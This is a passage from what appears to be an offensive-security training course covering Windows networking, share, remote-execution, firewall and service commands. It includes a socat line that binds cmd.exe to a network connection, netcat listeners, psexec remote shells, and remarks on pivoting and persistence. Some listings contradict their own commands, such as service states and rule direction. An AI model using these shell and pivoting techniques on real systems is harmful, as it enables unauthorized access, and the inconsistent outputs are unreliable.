127.0.0.1 255.255.255.255 On-link 127.0.0.1 331
127.255.255.255 255.255.255.255 On-link 127.0.0.1 331
192.168.100.0 255.255.255.0 On-link 192.168.100.85 281
192.168.100.85 255.255.255.255 On-link 192.168.100.85 281
Listing 17 - Running the route print command
We can find the active routes within the IPv4 route table. The
interface is the IP address of the local network adapter or the
source, the network destination is the location of the far end or
destination, the netmask is the mask that divides the IP address
into subnets, and the gateway[444] is generally the external
router or the device proxy[445] that routes the traffic from the
internal network to the external network.
Route can do more than just display the routing tables. It allows you
to do important actions like, clear the routing table, force IPv4 or
IPv6. But also actions like ADD or DELETE a route. We can find out
more about them if we check out the help page.
C:\Windows\system32>route /?
Manipulates network routing tables.
ROUTE [-f] [-p] [-4|-6] command [destination]
[MASK netmask] [gateway] [METRIC metric] [IF interface]
Listing 18 - Running the route help command
The ping[446] command sends ICMP echo requests and measures how
long it took for the destination to send an echo reply message.
The following IP displayed, in the content, may be different than
what you see.
C:\WINDOWS\system32>ping www.offsec.com
Pinging www.offsec.com [192.124.249.5] with 32 bytes of data:
Reply from 192.124.249.5: bytes=32 time=353ms TTL=55
Reply from 192.124.249.5: bytes=32 time=24ms TTL=55
Reply from 192.124.249.5: bytes=32 time=21ms TTL=55
Reply from 192.124.249.5: bytes=32 time=23ms TTL=55
Ping statistics for 192.124.249.5
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 6ms, Maximum = 9ms, Average = 6ms
Listing 19 - Pinging www.offsec.com
Above, four packets were sent and four packets were received. We also
find that it resolved the hostname www.offsec.com
to the IP address (192.124.249.5). If we had a certain loss
percentage, it could signify that we have some sort of connection
issue. Using ping with a hostname is a quick way to test both your
DNS server and your network path to the destination.
C:\WINDOWS\system32>ping 192.168.1.1
Pinging 192.168.1.1 with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Ping statistics for 192.168.1.1:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Listing 20 - Pinging a host that our machine cannot connect to using ICMP protocol
Other useful case scenarios are pinging the loopback address
(127.0.0.1) to determine if the network drivers work, or pinging the
default gateway to find out if our host can connect to its router.
You can also use the ping utility to test MTU constraints along a
network path.
The tracert[447] and pathping[448] commands are
very similar. Tracert uses the ICMP Time To Live (TTL)[449]
field values. As packets make their way along the path from router to
router, the TTL is decremented until it reaches 0. At that point, an
ICMP "time exceeded" message is sent back to the source device.
By default, tracert will output a maximum of 30 hops between the
source and destination. Pathping works in a very similar fashion, but
once it confirms a hop, it will send multiple messages and provide the
statistics. Because of that, pathping can be a little more reliable
when compared to tracert to provide latency information. Let’s run
both commands on www.offsec.com.
C:\Windows\system32>tracert www.offsec.com
Tracing route to www.offsec.com [192.124.249.5]
over a maximum of 30 hops:
1 39 ms 1 ms 2 ms dsldevice.attlocal.net [192.168.100.250]
2 2 ms 2 ms 2 ms 45-20-16-1.lightspeed.tukrga.sbcglobal.net [45.20.16.1]
3 12 ms 3 ms 3 ms 107.212.168.252
4 11 ms 9 ms 9 ms 12.242.113.47
5 8 ms 14 ms 12 ms ae4.cr4-atl2.ip4.gtt.net [173.241.128.81]
6 25 ms 22 ms 22 ms ae11.cr2-was1.ip4.gtt.net [89.149.142.238]
7 22 ms 22 ms 32 ms ip4.gtt.net [209.120.131.170]
8 21 ms 21 ms 20 ms cloudproxy10005.sucuri.net [192.124.249.5]
Trace complete.
C:\Windows\system32>pathping www.offsec.com
Tracing route to www.offsec.com [192.124.249.5]
over a maximum of 30 hops:
0 hostname.attlocal.net [192.168.100.77]
1 dsldevice.attlocal.net [192.168.100.250]
2 45-20-16-1.lightspeed.tukrga.sbcglobal.net [45.20.16.1]
3 107.212.168.252
4 12.242.113.47
5 ae4.cr4-atl2.ip4.gtt.net [173.241.128.81]
6 ae11.cr2-was1.ip4.gtt.net [89.149.142.238]
7 ip4.gtt.net [209.120.131.170]
8 cloudproxy10005.sucuri.net [192.124.249.5]
Computing statistics for 200 seconds...
Source to Here This Node/Link
Hop RTT Lost/Sent = Pct Lost/Sent = Pct Address
0 hostname.attlocal.net [192.168.100.77]
0/ 100 = 0% |
1 4ms 0/ 100 = 0% 0/ 100 = 0% dsldevice.attlocal.net [192.168.100.250]
0/ 100 = 0% |
2 4ms 0/ 100 = 0% 0/ 100 = 0% 45-20-16-1.lightspeed.tukrga.sbcglobal.net [45.20.16.1]
1/ 100 = 1% |
3 6ms 2/ 100 = 2% 1/ 100 = 1% 107.212.168.252
0/ 100 = 0% |
4 --- 100/ 100 =100% 99/ 100 = 99% 12.242.113.47
0/ 100 = 0% |
5 15ms 2/ 100 = 2% 1/ 100 = 1% ae4.cr4-atl2.ip4.gtt.net [173.241.128.81]
0/ 100 = 0% |
6 --- 100/ 100 =100% 99/ 100 = 99% ae11.cr2-was1.ip4.gtt.net [89.149.142.238]
0/ 100 = 0% |
7 26ms 1/ 100 = 1% 0/ 100 = 0% ip4.gtt.net [209.120.131.170]
0/ 100 = 0% |
8 24ms 1/ 100 = 1% 0/ 100 = 0% cloudproxy10005.sucuri.net [192.124.249.5]
Trace complete.
Listing 21 - Running tracert and pathping
Our output shows that pathping provides a little more information when
compared to tracert.
This section is going to cover commands related to name resolution.
In a nutshell, name resolution is a process where numerical values,
like IP addresses, are connected to host or domain names. Under the
hood, network traffic requires IP addresses to travel from source
to destination. When we enter "www.google.com" into the browser, one
of the things that happen is translating the domain name to its IP
address. Before we discuss nbtstat and nslookup, let’s cover what
NetBIOS means, and how it is similar to Domain Name System (DNS).
NetBIOS[450] was created as a Layer 5 (OSI model[451])
protocol to connect devices within a Local Area Network (LAN). As
time went on, there was a higher demand in requiring data to traverse
outside of the LAN. Because packets needed to be routed externally,
NetBIOS was eventually updated to a Layer 4 protocol, called NetBIOS
over TCP/IP (NetBT or NBT).[452] By default, NBT runs on ports
137 (TCP/UDP), 138 (UDP), and 139 (TCP). While NBT is similar to
DNS in that it resolves IP addresses to host/domain names, DNS is a
layer 7 protocol (port 53 - TCP/UDP) and is more scalable due to its
hierarchical naming structure.
The last bit of information to cover before jumping into
the commands themselves is to discuss the hosts
file. On Windows, the hosts file is located in the
%SystemRoot%\System32\drivers\etc folder. This is a plain
text file that contains hosts-to-IP mappings and is one of the primary
locations the OS checks when it attempts to resolve host/domain names.
We can edit this file, which would force the machine to resolve a
domain to whatever IP address we enter. Changing this is not ideal,
because sometimes the IP of a domain changes, and if it is hardcoded
in the host file, the domain will not be found.
The nbtstat[453] command shows information like the
NetBIOS name table and cache. It also can display the NetBT protocol
information for local and remote machines. Lastly, the /n
parameter will display the name table of the local computer.
C:\WINDOWS\system32>nbtstat /n
Ethernet 33:
Node IpAddress: [192.168.100.85] Scope Id: []
NetBIOS Local Name Table
Name Type Status
---------------------------------------------
WORKGROUP <00> GROUP Registered
Listing 22 - Running the nbtstat /n command
We find that the host is "Registered". This means that the name is
registered by the workstation.
The nslookup[454] command will either find the IP of
a domain name or the domain name of an IP address (reverse lookup).
There are two different ways that nslookup runs. The first is here.
C:\WINDOWS\system32>nslookup www.offsec.com
Server: dsldevice6.attlocal.net
Address: 2600:1700:1d40:b2b0::1
Non-authoritative answer:
Name: www.offsec.com
Address: 192.124.249.5
C:\Users\Administrator>
Listing 23 - Running the nslookup the first way
Here is the second method. Each of these methods have names, and
researching that will help with the questions below.
C:\Users\Administrator>nslookup
Default Server: dsldevice6.attlocal.net
Address: 2600:1700:1d40:b2b0::1
> www.offsec.com
Server: cdns01.comcast.net
Address: 2001:558:feed::1
Non-authoritative answer:
Name: www.offsec.com
Address: 192.124.249.5
> exit
C:\Users\Administrator>
Listing 24 - Running the nslookup the second way
This Learning Unit covers the following Learning Objectives:
In computing, client and server are terms referring to a
relationship process. Generally, servers provide a service, like data,
to clients. A simple example is how browsers are used as a way to
have a client connect to a web server. As administrators or security
engineers, we can use many different utilities to connect to servers
or other clients from our own machine. In this Learning Unit, we are
going to discuss some common client utilities.
Networking is an important concept for any administrator or
cybersecurity professional to understand. In this section, we are
going to learn more about network shares. Nowadays, almost every
environment requires users to access internal resources, like
printers. Other examples include shared file servers,
centralized event logging, or internally-accessible web servers. All
of these examples share the client-server relationship where data
traverses the network.
First, let’s briefly discuss a very famous network protocol known as
Server Message Block (SMB).[455] The SMB protocol allows clients
to access shared resources. By default, depending on the Windows OS,
we can expect SMB to run either on port 139 or 445. Currently, there
are multiple SMB versions, and historically SMB has a reputation of
being very vulnerable.[456] Because of this, targeting SMB (or
similar services) is generally at the top of the list for attackers.
Next, we will examine the net share and net use commands, which
directly relate to shared resources. These commands can mount to
things like SMB shares. The net share[457] command helps us
configure and manage shared resources hosted on our local machine,
and we can leverage net use[458] to connect to remote shared
resources, interact with them, and manage those connections.
These two powerful commands are important to know because we may not
always have the tools we want to use or the ability to use the GUI.
Having CLI access is more likely and these two commands are native, or
built-in. We can use these tools to pivot laterally or transfer data
in or out of the target network.
Running net share without any parameters will display
information about current shares on the local computer.
C:\WINDOWS\system32>net share
Share name Resource Remark
-------------------------------------------------------------------------------
C$ C:\ Default share
E$ E:\ Default share
IPC$ Remote IPC
ADMIN$ C:\Windows Remote Admin
Listing 25 - Running the net share command
Net share has more functionality than just this. We can observe this
with the help command.
C:\Users\offensive>net share /?
The syntax of this command is:
NET SHARE
sharename
sharename=drive:path [/GRANT:user,[READ | CHANGE | FULL]]
[/USERS:number | /UNLIMITED]
[/REMARK:"text"]
[/CACHE:Manual | Documents| Programs | BranchCache | None]
sharename [/USERS:number | /UNLIMITED]
[/REMARK:"text"]
[/CACHE:Manual | Documents | Programs | BranchCache | None]
{sharename | devicename | drive:path} /DELETE
sharename \\computername /DELETE
...
Listing 26 - Net share syntax
Here we learn that net share allows us to create shares, or delete
shares.
The next command we will explore is net use.
C:\Users\offensive>net use /?
The syntax of this command is:
NET USE
[devicename | *] [\\computername\sharename[\volume] [password | *]]
[/USER:[domainname\]username]
[/USER:[dotted domain name\]username]
[/USER:[username@dotted domain name]
[/SMARTCARD]
[/SAVECRED]
[/REQUIREINTEGRITY]
[/REQUIREPRIVACY]
[/WRITETHROUGH]
[[/DELETE] | [/PERSISTENT:{YES | NO}]]
NET USE {devicename | *} [password | *] /HOME
NET USE [/PERSISTENT:{YES | NO}]
...
This allows us to not only add or remove drives from machines on the
same network, but also to add persistence, attach as a different user
and many other useful things. It is worth exploring this more.
To get an easy understanding of this, let’s learn how to mount
a remote shared resource with net use, passing the local drive
letter we wish to use (z:) and the UNC path to the share
(\\192.168.1.1\public).
C:\WINDOWS\system32>net use \\192.168.1.1\public
The command completed successfully.
Listing 27 - Mounting a shared resource
When the command is complete, we can use the newly-mounted drive like
any other. We can also create a deviceless connection, which just
means that there is no drive letter.
C:\WINDOWS\system32>net use
Status Local Remote Network
-------------------------------------------------------------------------------
OK \\192.168.1.1\public
Microsoft Windows Network
The command completed successfully.
Listing 28 - Mounting a deviceless shared resource
Netcat (nc) is a powerful tool that can be used for remote
administration, among other things. Netcat can open up ports to allow
other clients to connect to the machine, it can connect to other
machines, it can transfer files, and it can even scan ports. That is
a lot to unpack, so we’ll cover the highlights.
We'll open up two different command prompt terminals and navigate to
the Tools folder on the Desktop. In this scenario,
terminal 1 represents the server, and terminal 2 represents the
client. We are going to set up a listener in terminal 1 and then
connect to our listener from terminal 2.
In terminal 1, we set up Netcat to listen for incoming connections
on TCP port 1234. We will use the -n option to disable DNS
name resolution, -l to create a listener, -v to add
verbosity, -s 127.0.0.1 to listen on the localhost interface,
and -p to specify the listening port number.
C:\Users\offensive\Desktop\Tools>nc.exe -n -l -v -s 127.0.0.1 -p 1234
listening on [127.0.0.1] 1234 ...
Listing 29 - Setting up a Netcat listener
Now that we have a listener on port 1234, we can connect to it from
terminal 2.
C:\Users\offensive\Desktop\Tools>nc.exe 127.0.0.1 1234
Listing 30 - Connecting to a Netcat listener
Now we have terminal 2 connected to terminal 1. In this specific
instance, we basically created a sort of chat functionality.
listening on [127.0.0.1] 1234 ...
Connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 50334
Hello!
Listing 31 - Netcat chat server-side
Anything typed in one terminal will be echoed, or transmitted, to the
other terminal.
Hello!
Learning about netcat is fun
Listing 32 - Showing an example of a basic chat relay using netcat
A way to close the connection is to issue what’s called a signal
interrupt or signal break by holding down C+c at
the same time when you are within a terminal. This stops or kills the
process, and in our situation, it will terminate the connection.
Socat is similar to Netcat, but with a lot more functionality.
Socat is considered to be a more stable way of connecting to remote
machines since it doesn’t immediately terminate when the connection
closes. It also supports more protocols like OPENSSL.[459]
As with the Netcat example, terminal 1 represents the server,
and terminal 2 represents the client. We are again going to set
up a listener in terminal 1 and then connect to it from terminal
2. We'll start a listener on the loopback interface with an
IP address of 127.0.0.1 (bind=127.0.0.1) on port 5678
(OPENSSL-LISTEN:5678). The -d option provides
diagnostic (verbose) output, cert=offsec.pem specifies the
SSL certificate, verify=0 skips certificate verification, and
STDOUT allows the terminal to output data.
C:\Users\offensive\Desktop\Tools>socat.exe -d OPENSSL-LISTEN:5678,cert=offsec.pem, verify=0 STDOUT, bind=127.0.0.1
Listing 33 - Setting up a socat listener
In terminal 2, we connect to 127.0.0.1 on port 5678
(OPENSSL:127.0.0.1:5678). The cmd.exe creates an
interactive terminal access.
C:\Users\offensive\Desktop\Tools>socat.exe OPENSSL:127.0.0.1:5678, verify=0 EXEC=’cmd.exe’
Listing 34 - Connecting to a socat listener
We can again terminate the connection by issuing
C+c.
This is just one simple example of how to use socat. The help utility
for socat is very detailed as we can observe from this excerpt.
C:\Users\offensive\Desktop\Tools>socat.exe -h
socat by Gerhard Rieger and contributors - see www.dest-unreach.org
Usage:
socat [options] <bi-address> <bi-address>
options:
-V print version and feature information to stdout, and exit
-h|-? print a help text describing command line options and addresses
-hh like -h, plus a list of all common address option names
-hhh like -hh, plus a list of all available address option names
-d increase verbosity (use up to 4 times; 2 are recommended)
-D analyze file descriptors before loop
-ly[facility] log to syslog, using facility (default is daemon)
-lf<logfile> log to file
-ls log to stderr (default if no other log)
-lm[facility] mixed log mode (stderr during initialization, then syslog)
-lp<progname> set the program name used for logging
-lu use microseconds for logging timestamps
-lh add hostname to log messages
-v verbose data traffic, text
-x verbose data traffic, hexadecimal
-b<size_t> set data buffer size (8192)
-s sloppy (continue on error)
-t<timeout> wait seconds before closing second channel
-T<timeout> total inactivity timeout in seconds
-u unidirectional mode (left to right)
-U unidirectional mode (right to left)
-g do not check option groups
-L <lockfile> try to obtain lock, or fail
-W <lockfile> try to obtain lock, or wait
-4 prefer IPv4 if version is not explicitly specified
-6 prefer IPv6 if version is not explicitly specified
Listing 35 - Exploring the socat help utility
We can observe the power that socat has. Feel free to explore this
utility on your own.
Many other tools allow us to execute commands remotely.
Windows Sysinternals[460] is a collection of freeware
tools that can assist in things like diagnosing, troubleshooting, and
managing Windows systems. Psexec[461] is one of the CLI tools
within the Sysinternals suite that has many features, but one of the
more prominent features is the ability to launch command prompts on
remote devices.
The following psexec command will execute cmd.exe.
In turn, the cmd command will execute systeminfo.
This all happens on the remote device called "myComputer" and output
the results locally.
C:\>psexec -i \myComputer cmd /c "systeminfo"
Host Name: hostname
OS Name: Microsoft Windows 10 Home
OS Version: 10.0.19042 N/A Build 19042
OS Manufacturer: Microsoft Corporation
Listing 36 - Running the psexec command to
execute systeminfo command remotely
To open up a fully interactive session with a username/password
requirement, we would run the following command:
C:\>psexec -i \myComputer -u username -p password cmd
Listing 37 - Running the psexec command to start
interactive session with remote computer
Psexec can be run in modes, interactive account and as a system
account and is worth investigating.
This Learning Unit covers the following Learning Objective:
Firewalls are used as a network protective measure because they can
control the traffic that travels through them. Firewalls are generally
used to filter traffic between the Internet and the internal network.
This makes it more difficult for attackers to target internal machines
because the attackers have to work harder to identify ways to bypass
those protective measures. Up until this point, we’ve covered numerous
network-related commands and tools. Let’s take it a step further, by
examining firewalls.
In this section, we’re going to explore some of the Windows firewall
features. The network shell (netsh[462]) command is a CLI tool
that allows us to view and manipulate networking configurations of our
local Windows device.
In this section, we’re going to explore some of the Windows firewall
features. The network shell (netsh[462-1]) command is a CLI tool
that allows us to view and manipulate networking configurations of our
local Windows device.
The netsh command has two options when it comes to interacting
with the firewall: firewall and advfirewall. Since the firewall
option is deprecated on modern Windows OS, and because advfirewall
has more capabilities, we will only briefly cover the former.
We can run netsh firewall with the ? parameter to
view the available commands.
C:\WINDOWS\system32>netsh firewall ?
The following commands are available:
Commands in this context:
? - Displays a list of commands.
add - Adds firewall configuration.
delete - Deletes firewall configuration.
dump - Displays a configuration script.
help - Displays a list of commands.
set - Sets firewall configuration.
show - Shows firewall configuration.
Listing 38 - Running the netsh firewall help command
The output tells us that we can run some basic commands to add,
delete, set, or show the firewall configuration.
Let’s compare that to the features of netsh advfirewall.
C:\WINDOWS\system32>netsh advfirewall ?
The following commands are available:
Commands in this context:
? - Displays a list of commands.
consec - Changes to the `netsh advfirewall consec' context.
dump - Displays a configuration script.
export - Exports the current policy to a file.
firewall - Changes to the `netsh advfirewall firewall' context.
help - Displays a list of commands.
import - Imports a policy file into the current policy store.
mainmode - Changes to the `netsh advfirewall mainmode' context.
monitor - Changes to the `netsh advfirewall monitor' context.
reset - Resets the policy to the default out-of-box policy.
set - Sets the per-profile or global settings.
show - Displays profile or global properties.
Listing 39 - Running the netsh advfirewall help command.
Here we observe commands like dump, export, import, reset show and
set. Many of these commands will be useful in this section.
Let's begin by resetting the firewall.
C:\Windows\system32>netsh advfirewall reset
Ok.
Listing 40 - Resetting the firewall.
Now, if we visit the GUI interface of the Windows server, we will
observe two networks listed. They are Private networks and Guest or
Public networks. We can observe almost identical results with the
netsh command.
C:\Windows\system32>netsh advfirewall show allprofiles
Domain Profile Settings:
----------------------------------------------------------------------
State OFF
Firewall Policy BlockInbound,AllowOutbound
LocalFirewallRules N/A (GPO-store only)
LocalConSecRules N/A (GPO-store only)
InboundUserNotification Disable
RemoteManagement Disable
UnicastResponseToMulticast Enable
Logging:
LogAllowedConnections Disable
LogDroppedConnections Disable
FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
MaxFileSize 4096
Private Profile Settings:
----------------------------------------------------------------------
State OFF
Firewall Policy BlockInbound,AllowOutbound
LocalFirewallRules N/A (GPO-store only)
LocalConSecRules N/A (GPO-store only)
InboundUserNotification Disable
RemoteManagement Disable
UnicastResponseToMulticast Enable
Logging:
LogAllowedConnections Disable
LogDroppedConnections Disable
FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
MaxFileSize 4096
Public Profile Settings:
----------------------------------------------------------------------
State OFF
Firewall Policy BlockInbound,AllowOutbound
LocalFirewallRules N/A (GPO-store only)
LocalConSecRules N/A (GPO-store only)
InboundUserNotification Disable
RemoteManagement Disable
UnicastResponseToMulticast Enable
Logging:
LogAllowedConnections Disable
LogDroppedConnections Disable
FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
MaxFileSize 4096
Ok.
C:\Windows\system32>
Listing 41 - Running the netsh advfirewall show allprofiles command.
There are additional possibilities that we can do with the syntax
above. We can turn on or off the firewall for all users or, depending
on the registry settings, turn the firewall on or off for remote
computers.
With advfirewall, we can also view, add, or delete inbound or outbound
rules, giving us great capabilities. Let’s inspect the syntax for the
add rule command.
C:\WINDOWS\system32>netsh advfirewall firewall add rule ?
The number of arguments provided is not valid. Check help for the correct syntax.
Usage: add rule name=<string>
dir=in|out
action=allow|block|bypass
[program=<program path>]
[service=<service short name>|any]
[description=<string>]
[enable=yes|no (default=yes)]
[profile=public|private|domain|any[,...]]
[localip=any|<IPv4 address>|<IPv6 address>|<subnet>|<range>|<list>]
[remoteip=any|localsubnet|dns|dhcp|wins|defaultgateway|
<IPv4 address>|<IPv6 address>|<subnet>|<range>|<list>]
[localport=0-65535|<port range>[,...]|RPC|RPC-EPMap|IPHTTPS|any (default=any)]
[remoteport=0-65535|<port range>[,...]|any (default=any)]
[protocol=0-255|icmpv4|icmpv6|icmpv4:type,code|icmpv6:type,code|
tcp|udp|any (default=any)]
[interfacetype=wireless|lan|ras|any]
[rmtcomputergrp=<SDDL string>]
[rmtusrgrp=<SDDL string>]
[edge=yes|deferapp|deferuser|no (default=no)]
[security=authenticate|authenc|authdynenc|authnoencap|notrequired
(default=notrequired)]
Listing 42 - Running the netsh advfirewall firewall add rule help command.
At a minimum, we will need to create a name of the rule, the direction
(in or out), and the action (allow, block, or bypass). There are more
options we can use like identifying a specific program or service,
protocol, source or destination IP, source or destination port, the
interface, and if there are any authentication protocols required.
To demonstrate, we'll add a firewall rule that will prevent us from
pinging www.offsec.com. First, we'll ping the
host to get its IP address and verify that it is reachable.
C:\Users\user\Desktop>ping www.offsec.com
Pinging www.offsec.com [192.124.249.5] with 32 bytes of data:
Reply from 192.124.249.5: bytes=32 time=353ms TTL=55
Reply from 192.124.249.5: bytes=32 time=24ms TTL=55
Reply from 192.124.249.5: bytes=32 time=21ms TTL=55
Reply from 192.124.249.5: bytes=32 time=23ms TTL=55
Ping statistics for 192.124.249.5
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 6ms, Maximum = 9ms, Average = 6ms
Listing 43 - Pinging www.offsec.com
Now, we'll add a new firewall rule, specifying a name (name="Deny
Ping OffSec"), direction (dir=in), action
(action=block), protocol (protocol=icmpv4), and
remote IP address (remoteip=192.124.249.5).
C:\Users\user\Desktop>netsh advfirewall firewall add rule name="Deny Ping OffSec" dir=in action=block protocol=icmpv4 remoteip=192.124.249.5
Ok.
C:\Users\user\Desktop>netsh advfirewall firewall show rule name="Deny Ping OffSec"
Rule Name: Deny Ping OffSec
----------------------------------------------------------------------
Enabled: Yes
Direction: Out
Profiles: Domain,Private,Public
Grouping:
LocalIP: Any
RemoteIP: 192.124.249.5/32
Protocol: ICMPv4
TypeCode
AnyAny
Edge traversal: No
Action: Block
Ok.
Listing 44 - Adding a new firewall rule
With our firewall rule added, we can try our ping command
again.
C:\Users\user\Desktop>ping www.offsec.com
Pinging www.offsec.com [192.124.249.5] with 32 bytes of data:
General failure
General failure
General failure
General failure
Ping statistics for 192.124.249.5
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Listing 45 - Unable to ping www.offsec.com
Our firewall rule is working correctly and we can no longer ping
www.offsec.com. Now let's delete
the firewall rule (rule="Deny Ping OffSec") and retry our
ping.
C:\Users\user\Desktop>netsh advfirewall firewall delete rule name="Deny Ping OffSec"
Deleted 1 rule(s).
Ok.
C:\Users\user\Desktop>ping www.offsec.com
Pinging www.offsec.com [192.124.249.5] with 32 bytes of data:
Reply from 192.124.249.5: bytes=32 time=353ms TTL=55
Reply from 192.124.249.5: bytes=32 time=24ms TTL=55
Reply from 192.124.249.5: bytes=32 time=21ms TTL=55
Reply from 192.124.249.5: bytes=32 time=23ms TTL=55
Ping statistics for 192.124.249.5
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 6ms, Maximum = 9ms, Average = 6ms
Listing 46 - Removing the rule and pinging www.offsec.com
After deleting the rule, we were able to ping the website again,
because the traffic was no longer blocked.
This disables the ping capability for
www.offsec.com, but what if we wanted to disable
all access to www.offsec.com? We can do that with
this command.
C:\Users\user\Desktop>netsh advfirewall firewall add rule name="Block OffSec" remoteip=192.124.249.5 dir=out enable=yes action=block
Ok.
Listing 47 - Blocking all to www.offsec.com
This may seem a bit drastic, but perhaps we only want to block access
to the Offensive Security website. We can do that by running:
C:\Users\user\Desktop>netsh advfirewall firewall add rule name="Block OffSec" remoteip=192.124.249.5 dir=out enable=yes action=block remoteport=443 protocol=tcp
Ok.
Listing 48 - Blocking web access to www.offsec.com
C:\Users\user\Desktop>ping www.offsec.com
Pinging www.offsec.com [192.124.249.5] with 32 bytes of data:
Reply from 192.124.249.5: bytes=32 time=30ms TTL=52
Reply from 192.124.249.5: bytes=32 time=29ms TTL=52
Listing 49 - Testing ping to www.offsec.com
Great! we have a good foundation about firewalls. This was a good
introduction to what we can do with netsh.
For all of the questions below, you will use the advfirewall
version command (Run the command prompt as Administrator) The
flags will be in C:\Users\offensive\.
This Learning Unit covers the following Learning Objectives:
In this section, we will start discussing what services are, how to
view them, and how to interact with them. Afterwards, we will discuss
a few client-server protocols native to the Windows environment.
A windows service is a program that usually runs in the background.
Some good examples of services are drivers, network services, and
antivirus software. Services can be started automatically during
system startup or from a trigger, or they can be started manually.
They can also run with different permissions, as an unprivileged
user, or as SYSTEM. Generally, services run as non-interactive, but
we can enable and disable them. In the next two sections, we will use
commands specific to services to interact with them.
Let’s examine starting and stopping a service with sc,[463]
which references the Service Control executable. Officially, it
is known as the Service Control Manager (SCM), which is a program
that enables, disables, and interacts with Windows services. As an
offensive operator, the sc utility is powerful because we can
use it for things like system enumeration, privilege escalation, and
persistence.
To start a service, we run sc start, passing in the name
of the service we want to start. To stop a service, we use sc
stop as shown below.
C:\Users\user\Desktop>sc start WSearch
SERVICE_NAME: WSearch
TYPE 10 WIN32_OWN_PROCESS
STATE: 3 STOP_PENDING
WIN32_EXIT_CODE: 0 (0X0)
SERVICE_EXIT_CODE: 0 (0X0)
CHECKPOINT: 0X1
WAIT_HINT: 0X7530
C:\Users\user\Desktop>sc stop WSearch
SERVICE_NAME: WSearch
TYPE 10 WIN32_OWN_PROCESS
STATE: 3 START_PENDING
WIN32_EXIT_CODE: 0 (0X0)
SERVICE_EXIT_CODE: 0 (0X0)
CHECKPOINT: 0X1
WAIT_HINT: 0X7d0
PID:2812
FLAGS:
Listing 50 - Starting and stopping WSearch service
As an offensive operator, enumeration is key in identifying
vulnerabilities and crafting our exploits. Making sure we are
comfortable with various tools and utilities that gather information
on system services is crucial. Let’s explore a few commands that allow
us to view system data on services.
The first command we are going to run is the
tasklist[464] command with the /svc
parameter. By default, this command displays processes, which are
similar to services. In terms of normal operations, whenever a user
runs an executable, the program will spawn one more process. Processes
may start or stop a service, but it doesn’t always have to happen.
Comparatively, all services are processes and as mentioned previously,
do not require user interaction. Here, we can find which services, if
any, are tied to processes.
C:\WINDOWS\system32>tasklist /svc
Image Name PID Services
========================= ======== ============================================
System Idle Process 0 N/A
System 4 N/A
Registry 124 N/A
smss.exe 520 N/A
csrss.exe 696 N/A
wininit.exe 784 N/A
csrss.exe 792 N/A
winlogon.exe 852 N/A
services.exe 924 N/A
lsass.exe 948 KeyIso, SamSs, VaultSvc
svchost.exe 528 BrokerInfrastructure, DcomLaunch, PlugPlay,
Power, SystemEventsBroker
svchost.exe 2808 Wcmsvc
svchost.exe 8368 Appinfo
svchost.exe 9552 RmSvc
explorer.exe 9280 N/A
svchost.exe 5648 wscsvc
svchost.exe 8064 OneSyncSvc_1dfa24,
PimIndexMaintenanceSvc_1dfa24,
UnistoreSvc_1dfa24, UserDataSvc_1dfa24
svchost.exe 1296 Netman
Listing 51 - Running the tasklist /svc command
Working with processes and services is a critical skill for cyber
security professionals. We have to know what processes and services
are running, what permissions are they running as, whether they are
set to run automatically or is there some other trigger, and how can
we defend and/or exploit them. The tasklist command helps us identify
information to answer those questions.
The next commands we will examine are sc query and sc
qc. Below, we run each command, providing dhcp as the
service name.
C:\WINDOWS\system32>sc query dhcp
SERVICE_NAME: dhcp
TYPE : 30 WIN32
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
C:\WINDOWS\system32>sc qc dhcp
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: dhcp
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
LOAD_ORDER_GROUP : TDI
TAG : 0
DISPLAY_NAME : DHCP Client
DEPENDENCIES : NSI
: Afd
SERVICE_START_NAME : NT Authority\LocalService
Listing 52 - Running the sc query and sc qc commands
We find that sc query shows information like the current state of
the service, and certain codes specific to the service. The sc qc
command shows if the service has autostart enabled, what dependencies
are associated with the service, and the binary path name.
The last tool we are going to cover is PsService,[465]
which is part of the Windows Sysinternals suite.
Generally referred to as Sysinternals, this resource is a
collection of freeware to diagnose and troubleshoot Microsoft Windows
systems. Even though the tools were created for more administrative
purposes in mind, because of their amazing capabilities, they can
easily be used for nefarious or offensive intentions.
The downside to using PsService is that it is not built into Windows.
PsService is very similar to the sc utility, but one thing PsService
can do that sc cannot do is access a remote system with a different user
account. This can be helpful when a certain user has the necessary
permissions and we can exploit that.
C:\WINDOWS\system32>PsService.exe query WSearch
SERVICE_NAME: WSearch
DISPLAY_NAME: Windows Search
Provides content indexing, property caching, and search results for files, e-mail, and other content
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0 ms
C:\WINDOWS\system32>PsService.exe config WSearch
SERVICE_NAME: WSearch
DISPLAY_NAME: Windows Search
Provides content indexing, property caching, and search results for files, e-mail, and other content
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\SearchIndexer.exe /Embedding
LOAD_ORDER_GROUP :
TAG : 0
DEPENDENCIES : RPCSS
: BrokerInfrastructure
SERVICE_START_NAME : Localsystem
FAIL_RESET_PERIOD: 86400 seconds
Listing 53 - Running the query and config arguments of PsService for the WSearch service
PService and the sc commands will display similar configuration
